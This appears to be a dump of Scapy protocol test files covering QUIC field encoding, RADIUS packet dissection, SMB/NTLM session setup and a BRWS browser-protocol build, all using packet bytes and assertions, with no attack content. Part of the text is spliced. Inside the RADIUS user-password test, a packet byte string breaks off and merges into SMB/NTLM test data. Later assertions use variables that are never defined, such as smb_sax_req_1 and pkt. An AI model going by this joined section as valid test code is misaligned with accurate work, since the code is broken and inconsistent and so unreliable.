QuicPacketNumberBitFieldLenField - variable lengths from scapy.layers.quic import * pkt = QUIC_Initial(DstConnID=b'p\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR', SrcConnID=b'\xf7\x10Q', PacketNumber=0xFF) assert bytes(pkt) == b'\xc0\x00\x00\x00\x01\x0fp\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR\x03\xf7\x10Q\x00\x00\xff' pkt = QUIC_Initial(bytes(pkt)) assert pkt.DstConnIDLen == 15 assert pkt.SrcConnIDLen == 3 assert pkt.PacketNumberLen == 0 assert pkt.PacketNumber == 0xFF pkt = QUIC_Initial(DstConnID=b'p\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR', SrcConnID=b'\xf7\x10Q', PacketNumber=0xFFFF) assert bytes(pkt) == b'\xc1\x00\x00\x00\x01\x0fp\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR\x03\xf7\x10Q\x00\x00\xff\xff' pkt = QUIC_Initial(bytes(pkt)) assert pkt.PacketNumberLen == 1 assert pkt.PacketNumber == 0xFFFF pkt = QUIC_Initial(DstConnID=b'p\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR', SrcConnID=b'\xf7\x10Q', PacketNumber=0xFFFFFF) assert bytes(pkt) == b'\xc2\x00\x00\x00\x01\x0fp\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR\x03\xf7\x10Q\x00\x00\xff\xff\xff' pkt = QUIC_Initial(bytes(pkt)) assert pkt.PacketNumberLen == 2 assert pkt.PacketNumber == 0xFFFFFF pkt = QUIC_Initial(DstConnID=b'p\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR', SrcConnID=b'\xf7\x10Q', PacketNumber=0xFFFFFFFF) assert bytes(pkt) == b'\xc3\x00\x00\x00\x01\x0fp\xa2\x8e@\x96\xc5}\xd0\xff\xb6\xc3\xd8\x1b\xcaR\x03\xf7\x10Q\x00\x00\xff\xff\xff\xff' pkt = QUIC_Initial(bytes(pkt)) assert pkt.PacketNumberLen == 3 assert pkt.PacketNumber == 0xFFFFFFFF = QUIC - QuicPacketNumberField / QuicPacketNumberBitFieldLenField - Out of range import struct from scapy.layers.quic import * try: pkt = QUIC_Initial(PacketNumber=0xFFFFFFFFFF) bytes(pkt) assert False, "QUIC Packet Number length should fail" except struct.error: pass = QUIC - QuicVarIntField - variable lengths from scapy.layers.quic import * pkt = QUIC_Initial(Length=1) assert bytes(pkt) == b'\xc0\x00\x00\x00\x01\x00\x00\x00\x01\x00' assert QUIC_Initial(bytes(pkt)).Length == 1 pkt = QUIC_Initial(Length=1 << 9) assert bytes(pkt) == b'\xc0\x00\x00\x00\x01\x00\x00\x00B\x00\x00' assert QUIC_Initial(bytes(pkt)).Length == 1 << 9 pkt = QUIC_Initial(Length=1 << 17) assert bytes(pkt) == b'\xc0\x00\x00\x00\x01\x00\x00\x00\x80\x02\x00\x00\x00' assert QUIC_Initial(bytes(pkt)).Length == 1 << 17 pkt = QUIC_Initial(Length=4611686018427387903) assert bytes(pkt) == b'\xc0\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00' assert QUIC_Initial(bytes(pkt)).Length == 4611686018427387903 = QUIC - QuicVarIntField - Out of range import struct from scapy.layers.quic import * try: pkt = QUIC_Initial(Length=0xFFFFFFFFFFFFFFFF) bytes(pkt) assert False, "QUIC Variable length should fail" except struct.error: pass ================================================ FILE: test/scapy/layers/radius.uts ================================================ % Scapy Radius layer tests ############ ############ + RADIUS tests = IP/UDP/RADIUS - Build s = raw(IP(src="127.0.0.1", dst="127.0.0.1")/UDP(sport=1812)/Radius(authenticator="scapy")/RadiusAttribute(value="scapy")) s == b'E\x00\x007\x00\x01\x00\x00@\x11|\xb3\x7f\x00\x00\x01\x7f\x00\x00\x01\x07\x14\x07\x14\x00#U\xb3\x01\x00\x00\x1bscapy\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x07scapy' = IP/UDP/RADIUS - Dissection p = IP(s) Radius in p and len(p[Radius].attributes) == 1 and p[Radius].attributes[0].value == b"scapy" = RADIUS - Access-Request - Dissection (1) s = b'\x01\xae\x01\x17>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O\x0b\x02\x01\x00\t\x01leapP\x12U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6' radius_packet = Radius(s) assert radius_packet.id == 174 assert radius_packet.len == 279 assert radius_packet.authenticator == b'>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z' assert len(radius_packet.attributes) == 17 assert radius_packet.attributes[0].type == 1 assert type(radius_packet.attributes[0]) == RadiusAttr_User_Name assert radius_packet.attributes[0].len == 6 assert radius_packet.attributes[0].value == b"leap" assert radius_packet.attributes[1].type == 6 assert type(radius_packet.attributes[1]) == RadiusAttr_Service_Type assert radius_packet.attributes[1].len == 6 assert radius_packet.attributes[1].value == 2 assert radius_packet.attributes[2].type == 26 assert type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific assert radius_packet.attributes[2].len == 27 assert radius_packet.attributes[2].vendor_id == 9 assert radius_packet.attributes[2].vendor_type == 1 assert radius_packet.attributes[2].vendor_len == 21 assert radius_packet.attributes[2].value == b"service-type=Framed" assert radius_packet.attributes[6].type == 79 assert type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message assert radius_packet.attributes[6].len == 11 assert radius_packet.attributes[6].value.haslayer(EAP) assert radius_packet.attributes[6].value[EAP].code == 2 assert radius_packet.attributes[6].value[EAP].id == 1 assert radius_packet.attributes[6].value[EAP].len == 9 assert radius_packet.attributes[6].value[EAP].type == 1 assert hasattr(radius_packet.attributes[6].value[EAP], "identity") assert radius_packet.attributes[6].value[EAP].identity == b"leap" assert radius_packet.attributes[7].type == 80 assert type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator assert radius_packet.attributes[7].len == 18 assert radius_packet.attributes[7].value == b'U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6' assert radius_packet.attributes[11].type == 8 assert type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address assert radius_packet.attributes[11].len == 6 assert radius_packet.attributes[11].value == '192.168.10.185' assert radius_packet.attributes[16].type == 5 assert type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port assert radius_packet.attributes[16].len == 6 assert radius_packet.attributes[16].value == 50118 f,v = radius_packet.getfield_and_val("authenticator") assert f.i2repr(None, v) == '3e6bd4c419560b2a3199c844eac2945a' = RADIUS - compute_message_authenticator() ram = radius_packet[RadiusAttr_Message_Authenticator] assert ram.compute_message_authenticator(radius_packet, b"dummy bytes", b"scapy") == b'I\x85l\x8f\xa5\xd6\xbc\xb5\x08\xe0<\xebH\x9d\xfb?' = RADIUS - Access-Challenge - Dissection (2) s = b'\x0b\xae\x00[\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8\x12\rHello, leapO\x16\x01\x02\x00\x14\x11\x01\x00\x08\xb8\xc4\x1a4\x97x\xd3\x82leapP\x12\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' radius_packet = Radius(s) assert radius_packet.id == 174 assert radius_packet.len == 91 assert radius_packet.authenticator == b'\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8' assert len(radius_packet.attributes) == 4 assert radius_packet.attributes[0].type == 18 assert type(radius_packet.attributes[0]) == RadiusAttribute assert radius_packet.attributes[0].len == 13 assert radius_packet.attributes[0].value == b"Hello, leap" assert radius_packet.attributes[1].type == 79 assert type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message assert radius_packet.attributes[1].len == 22 assert radius_packet.attributes[1][EAP].code == 1 assert radius_packet.attributes[1][EAP].id == 2 assert radius_packet.attributes[1][EAP].len == 20 assert radius_packet.attributes[1][EAP].type == 17 assert radius_packet.attributes[2].type == 80 assert type(radius_packet.attributes[2]) == RadiusAttr_Message_Authenticator assert radius_packet.attributes[2].len == 18 assert radius_packet.attributes[2].value == b'\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c' assert radius_packet.attributes[3].type == 24 assert type(radius_packet.attributes[3]) == RadiusAttr_State assert radius_packet.attributes[3].len == 18 assert radius_packet.attributes[3].value == b'iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' = RADIUS - Access-Request - Dissection (3) s = b'\x01\xaf\x01DC\xbe!J\x08\xdf\xcf\x9f\x00v~,\xfb\x8e`\xc8\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O&\x02\x02\x00$\x11\x01\x00\x18\rE\xc9\x92\xf6\x9ae\x04\xa2\x06\x13\x8f\x0b#\xf1\xc56\x8eU\xd9\x89\xe5\xa1)leapP\x12|\x1c\x9d[dv\x9c\x19\x96\xc6\xec\xb82\x8f\n f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' radius_packet = Radius(s) assert radius_packet.id == 175 assert radius_packet.len == 324 assert radius_packet.authenticator == b'C\xbe!J\x08\xdf\xcf\x9f\x00v~,\xfb\x8e`\xc8' assert len(radius_packet.attributes) == 18 assert radius_packet.attributes[0].type == 1 assert type(radius_packet.attributes[0]) == RadiusAttr_User_Name assert radius_packet.attributes[0].len == 6 assert radius_packet.attributes[0].value == b"leap" assert radius_packet.attributes[1].type == 6 assert type(radius_packet.attributes[1]) == RadiusAttr_Service_Type assert radius_packet.attributes[1].len == 6 assert radius_packet.attributes[1].value == 2 assert radius_packet.attributes[2].type == 26 assert type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific assert radius_packet.attributes[2].len == 27 assert radius_packet.attributes[2].vendor_id == 9 assert radius_packet.attributes[2].vendor_type == 1 assert radius_packet.attributes[2].vendor_len == 21 assert radius_packet.attributes[2].value == b"service-type=Framed" assert radius_packet.attributes[6].type == 79 assert type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message assert radius_packet.attributes[6].len == 38 assert radius_packet.attributes[6].value.haslayer(EAP) assert radius_packet.attributes[6].value[EAP].code == 2 assert radius_packet.attributes[6].value[EAP].id == 2 assert radius_packet.attributes[6].value[EAP].len == 36 assert radius_packet.attributes[6].value[EAP].type == 17 assert radius_packet.attributes[7].type == 80 assert type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator assert radius_packet.attributes[7].len == 18 assert radius_packet.attributes[7].value == b'|\x1c\x9d[dv\x9c\x19\x96\xc6\xec\xb82\x8f\n ' assert radius_packet.attributes[11].type == 8 assert type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address assert radius_packet.attributes[11].len == 6 assert radius_packet.attributes[11].value == '192.168.10.185' assert radius_packet.attributes[16].type == 5 assert type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port assert radius_packet.attributes[16].len == 6 assert radius_packet.attributes[16].value == 50118 assert radius_packet.attributes[17].type == 24 assert type(radius_packet.attributes[17]) == RadiusAttr_State assert radius_packet.attributes[17].len == 18 assert radius_packet.attributes[17].value == b'iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' = RADIUS - Access-Challenge - Dissection (4) s = b'\x0b\xaf\x00K\x82 \x95=\xfd\x80\x05 -l}\xab)\xa5kU\x12\rHello, leapO\x06\x03\x03\x00\x04P\x12l0\xb9\x8d\xca\xfc!\xf3\xa7\x08\x80\xe1\xf6}\x84\xff\x18\x12iQs\xf7hRb@k\x9d,\xa0\x99\x8ehO' radius_packet = Radius(s) assert radius_packet.id == 175 assert radius_packet.len == 75 assert radius_packet.authenticator == b'\x82 \x95=\xfd\x80\x05 -l}\xab)\xa5kU' assert len(radius_packet.attributes) == 4 assert radius_packet.attributes[0].type == 18 assert type(radius_packet.attributes[0]) == RadiusAttribute assert radius_packet.attributes[0].len == 13 assert radius_packet.attributes[0].value == b"Hello, leap" assert radius_packet.attributes[1].type == 79 assert type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message assert radius_packet.attributes[1].len == 6 assert radius_packet.attributes[1][EAP].code == 3 assert radius_packet.attributes[1][EAP].id == 3 assert radius_packet.attributes[1][EAP].len == 4 assert radius_packet.attributes[2].type == 80 assert type(radius_packet.attributes[2]) == RadiusAttr_Message_Authenticator assert radius_packet.attributes[2].len == 18 assert radius_packet.attributes[2].value == b'l0\xb9\x8d\xca\xfc!\xf3\xa7\x08\x80\xe1\xf6}\x84\xff' assert radius_packet.attributes[3].type == 24 assert type(radius_packet.attributes[3]) == RadiusAttr_State assert radius_packet.attributes[3].len == 18 assert radius_packet.attributes[3].value == b'iQs\xf7hRb@k\x9d,\xa0\x99\x8ehO' = RADIUS - Response Authenticator computation s = b'\x01\xae\x01\x17>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O\x0b\x02\x01\x00\t\x01leapP\x12U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6' access_request = Radius(s) s = b'\x0b\xae\x00[\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8\x12\rHello, leapO\x16\x01\x02\x00\x14\x11\x01\x00\x08\xb8\xc4\x1a4\x97x\xd3\x82leapP\x12\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' access_challenge = Radius(s) access_challenge.compute_authenticator(access_request.authenticator, b"radiuskey") == access_challenge.authenticator = RADIUS - Layers (1) radius_attr = RadiusAttr_EAP_Message(value = EAP()) assert RadiusAttr_EAP_Message in radius_attr assert RadiusAttribute in radius_attr type(radius_attr[RadiusAttribute]) assert type(radius_attr[RadiusAttribute]) == RadiusAttr_EAP_Message assert EAP in radius_attr.value = RADIUS - sessions (1) p = IP()/TCP(sport=1812)/Radius(authenticator="scapy")/RadiusAttribute(value="scapy") l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = RADIUS - sessions (2) p = IP()/UDP(sport=1812)/Radius(authenticator="scapy")/RadiusAttribute(value="scapy") l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = Issue GH#1407 s = b"Z\xa5\xaaUZ\xa5\xaaU\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe9\xc5\x00\x00\x14'\x02\x00\x00\x001\x9a\xe44\xea4" isinstance(Radius(s), Radius) = RADIUS - attributes with IPv4 addresses r = raw(RadiusAttr_NAS_IP_Address()) p = RadiusAttr_NAS_IP_Address(r) assert p.type == 4 r = raw(RadiusAttr_Framed_IP_Address()) p = RadiusAttr_Framed_IP_Address(r) assert p.type == 8 = Radius - fragmented EAP - GH2832 conf.contribs["radius"] = {} s = b'\x0b\x1c\x04,%[\xa5\x11\x0b\xdc\x8f\x94\xf2\xe0\x01\x8a\xacNI\x8eO\xff\x01\x97\x00\xff\r\xc0\x00\x1a\x15\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4f\x03\x00P\x12n\x14\xd1\x9f\xa8\xf3\t\xe4\xc0\x82\xd6\x07AB\xd5\xf5\x18\x12\x19\xd6\x9eX\x05A\x93jo\x9a\t:\xa9g_\xc2' pkt = Radius(s) assert len(pkt.attributes) == 3 assert pkt.attributes[0].value.tls_data == b'\0' * 244 assert pkt.attributes[1].type == 80 assert pkt.attributes[1].len == 18 assert pkt.attributes[2].type == 24 assert pkt.attributes[2].len == 18 conf.contribs.setdefault("radius", {})["auto-defrag"] = False with no_debug_dissector(): pkt = Radius(s) assert len(pkt.attributes) == 4 assert pkt.attributes[0].type == 79 assert pkt.attributes[1].type == 79 assert pkt.attributes[1].value.load == b'\0' assert pkt.attributes[2].type == 80 assert pkt.attributes[2].len == 18 assert pkt.attributes[3].type == 24 assert pkt.attributes[3].len == 18 = RadiusAttr_User_Password - Parse and Decrypt r = b'\x01\x00\x00\x1c0x10x20x30x40x50\x02\x08geheim' p = Radius(r) assert isinstance(p.attributes[0], RadiusAttr_User_Password) p = Ether(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00Z\x00\x8e\x00\x00@\x11|\x03\x7f\x00\x00\x01\x7f\x00\x00\x01\x9f<\x07\x14\x00F\xfeY\x01\xfb\x00>s0\x00\x13\x86x\xd7\x11\xc4\x9e\xe1=\xce&r\xa7V\xba\xf6\xf0LG') assert pkt.summary() == "Ether / IP / UDP / RADIUS Access-Request (User:'user' MS-CHAP2)" pkt = Ether(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00Z\x00\x8e\x00\x00@\x11|\x03\x7f\x00\x00\x01\x7f\x00\x00\x01\x9f<\x07\x14\x00F\xfeY\x01\xfb\x00>s0\x00\x13\x86x\xd7\x11\xc4\x9e\xe1=\xce&r0<\xa0\x0e0\x0c\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xa2*\x04(NTLMSSP\x00\x01\x00\x00\x00\x97\x82\x08\xe2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00Z)\x00\x00\x00\x0f\x00\x00\x00\x00\x00') assert SMBSession_Setup_AndX_Request_Extended_Security in smb_sax_req_1 assert smb_sax_req_1.Flags2.EXTENDED_SECURITY assert smb_sax_req_1.Flags2.UNICODE assert isinstance(smb_sax_req_1.SecurityBlob.innerToken.token.mechToken.value, NTLM_NEGOTIATE) ntlm_nego = smb_sax_req_1.SecurityBlob.innerToken.token.mechToken.value assert ntlm_nego.ProductBuild == 10586 = SMB Setup AndX Response (ES) from scapy.layers.ntlm import * smb_sax_resp_1 = Ether(b"\x00\x0c)a\xf5_\x00PV\xc0\x00\x01\x08\x00E\x00\x01,\x03I@\x00\x80\x06\xe6\xaa\xc0\xa8\xc7\x01\xc0\xa8\xc7\x85\x00\x8b\xc2\x08\x10]}F\xd7\xcb\xefiP\x18\x00\xff\xeb)\x00\x00\x00\x00\x01\x00\xffSMBs\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00\x04\xff\x00\x00\x01\x00\x00\x93\x00\xd5\x00\xa1\x81\x900\x81\x8d\xa0\x03\n\x01\x01\xa1\x0c\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xa2x\x04vNTLMSSP\x00\x02\x00\x00\x00\x06\x00\x06\x008\x00\x00\x00\x15\x82\x8a\xe2\x88\xbc\x9bX4\xbe7\r\x00\x00\x00\x00\x00\x00\x00\x008\x008\x00>\x00\x00\x00\x06\x03\x80%\x00\x00\x00\x0fS\x00C\x00V\x00\x02\x00\x06\x00S\x00C\x00V\x00\x01\x00\x06\x00S\x00C\x00V\x00\x04\x00\x06\x00S\x00C\x00V\x00\x03\x00\x06\x00S\x00C\x00V\x00\x07\x00\x08\x00\xd5\x9d6\x9b\x84'\xd2\x01\x00\x00\x00\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x008\x00.\x001\x00 \x009\x006\x000\x000\x00\x00\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x008\x00.\x001\x00 \x006\x00.\x003\x00\x00\x00") assert SMBSession_Setup_AndX_Response_Extended_Security in smb_sax_resp_1 assert smb_sax_resp_1.AndXCommand == 255 assert smb_sax_resp_1.SecurityBlob.token.negState == 1 assert isinstance(smb_sax_resp_1.SecurityBlob.token.responseToken.value, NTLM_CHALLENGE) ntlm_challenge = smb_sax_resp_1.SecurityBlob.token.responseToken.value assert len(ntlm_challenge.Payload) == 2 assert ntlm_challenge.Payload[0] == ('TargetName', 'SCV') assert ntlm_challenge.Payload[1][0] == 'TargetInfo' assert len(ntlm_challenge.Payload[1][1]) == 6 assert ntlm_challenge.Payload[1][1][0].sprintf("%AvId%") == 'MsvAvNbDomainName' assert ntlm_challenge.Payload[1][1][1].sprintf("%AvId%") == 'MsvAvNbComputerName' assert ntlm_challenge.Payload[1][1][2].sprintf("%AvId%") == 'MsvAvDnsDomainName' assert ntlm_challenge.Payload[1][1][3].sprintf("%AvId%") == 'MsvAvDnsComputerName' assert ntlm_challenge.Payload[1][1][4].sprintf("%AvId%") == 'MsvAvTimestamp' assert ntlm_challenge.Payload[1][1][5].sprintf("%AvId%") == 'MsvAvEOL' for i in range(4): assert ntlm_challenge.Payload[1][1][i].Value == "SCV" = SMB Setup AndX Request - accept incomplete (ES) from scapy.layers.ntlm import * smb_sax_req_2 = Ether(b'\x00PV\xc0\x00\x01\x00\x0c)a\xf5_\x08\x00E\x00\x01\x18Qg\x00\x00\x80\x06\xd8\xa0\xc0\xa8\xc7\x85\xc0\xa8\xc7\x01\xc2\x08\x00\x8b\xd7\xcb\xefi\x10]~JP\x18\x00\xfey\xc4\x00\x00\x00\x00\x00\xec\xffSMBs\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08 \x00\x0c\xff\x00\x00\x00\x04\x11\n\x00\x00\x00\x00\x00\x00\x00\xac\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xb1\x00\xa1\x81\xa90\x81\xa6\xa0\x03\n\x01\x01\xa2\x81\x8a\x04\x81\x87NTLMSSP\x00\x03\x00\x00\x00\x01\x00\x01\x00v\x00\x00\x00\x00\x00\x00\x00w\x00\x00\x00\x00\x00\x00\x00X\x00\x00\x00\x00\x00\x00\x00X\x00\x00\x00\x1e\x00\x1e\x00X\x00\x00\x00\x10\x00\x10\x00w\x00\x00\x00\x15\x8a\x88\xe2\n\x00Z)\x00\x00\x00\x0fN,A\xe36\xa1M\x9dq\xc5\x12\x92\xa4\xc8\xc9\xf2D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00V\x001\x00F\x00A\x000\x00U\x00Q\x00\x00/\t\x13+\x81\xa6\x15\x14\xb9\x11\x8b\xe0\x00\x88\xd7\x1f\xa3\x12\x04\x10\x01\x00\x00\x00\xb5\xef\x9d\xa6\x9dm\x12h\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert SMBSession_Setup_AndX_Request_Extended_Security in smb_sax_req_2 assert smb_sax_req_2.Flags2.EXTENDED_SECURITY assert smb_sax_req_2.Flags2.UNICODE assert smb_sax_req_2.AndXCommand == 255 assert smb_sax_req_2.SecurityBlob.token.negState == 1 ntlm_authenticate = smb_sax_req_2.SecurityBlob.token.responseToken.value assert isinstance(ntlm_authenticate, NTLM_AUTHENTICATE) assert len(ntlm_authenticate.Payload) == 3 assert ntlm_authenticate.Payload[0] == ('Workstation', 'DESKTOP-V1FA0UQ') assert ntlm_authenticate.Payload[1][0] == 'LmChallengeResponse' assert isinstance(ntlm_authenticate.Payload[1][1], LMv2_RESPONSE) assert ntlm_authenticate.Payload[2][0] == 'EncryptedRandomSessionKey' assert ntlm_authenticate.Payload[2][1] == b'/\t\x13+\x81\xa6\x15\x14\xb9\x11\x8b\xe0\x00\x88\xd7\x1f' = SMB Setup AndX Response - accept complete (ES) smb_sax_resp_2 = Ether(b'\x00\x0c)a\xf5_\x00PV\xc0\x00\x01\x08\x00E\x00\x00\xb6\x03J@\x00\x80\x06\xe7\x1f\xc0\xa8\xc7\x01\xc0\xa8\xc7\x85\x00\x8b\xc2\x08\x10]~J\xd7\xcb\xf0YP\x18\x00\xfeB\x10\x00\x00\x00\x00\x00\x8a\xffSMBs\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08 \x00\x04\xff\x00\x8a\x00\x00\x00\x1d\x00_\x00\xa1\x1b0\x19\xa0\x03\n\x01\x00\xa3\x12\x04\x10\x01\x00\x00\x00\xee\t\x91S\xab\x7f]\xe6\x00\x00\x00\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x008\x00.\x001\x00 \x009\x006\x000\x000\x00\x00\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x008\x00.\x001\x00 \x006\x00.\x003\x00\x00\x00') assert SMBSession_Setup_AndX_Response_Extended_Security in smb_sax_resp_2 assert smb_sax_resp_2.SecurityBlob.token.negState == 0 assert smb_sax_resp_2.SecurityBlob.token.mechListMIC.value.Version == 1 assert smb_sax_resp_2.SecurityBlob.token.mechListMIC.value.Checksum == b'\xee\t\x91S\xab\x7f]\xe6' assert smb_sax_resp_2.SecurityBlob.token.mechListMIC.value.SeqNum == 0 assert smb_sax_resp_2.NativeOS == 'Windows 8.1 9600' assert smb_sax_resp_2.NativeLanMan == 'Windows 8.1 6.3' + Test BRWS = BRWS BecomeBackup - build pkt = \ IP(id=3109, ttl=128, src='192.168.1.2', dst='192.168.1.255') / \ UDP(sport=138, dport=138) / \ NBTDatagram(Type=17, Flags=2, ID=37087, SourceIP='192.168.1.2', SourcePort=138, SourceName=b'VIKRANT-LAPTOP ', SUFFIX1=16705, DestinationName=b'WORKGROUP', SUFFIX2=16975) / \ SMB_Header(Flags=0) / \ SMBMailslot_Write(Data=BRWS_BecomeBackup(OpCode=11, BrowserToPromote='LENOVO-NETBOOK'), Timeout=1000, Name='\\MAILSLOT\\BROWSE') assert bytes(pkt) == b'E\x00\x00\xd4\x0c%\x00\x00\x80\x11\xa9\xa2\xc0\xa8\x01\x02\xc0\xa8\x01\xff\x00\x8a\x00\x8a\x00\xc0\xca)\x11\x02\x90\xdf\xc0\xa8\x01\x02\x00\x8a\x00\xaa\x00\x00 FGEJELFCEBEOFECNEMEBFAFEEPFACAAA\x00 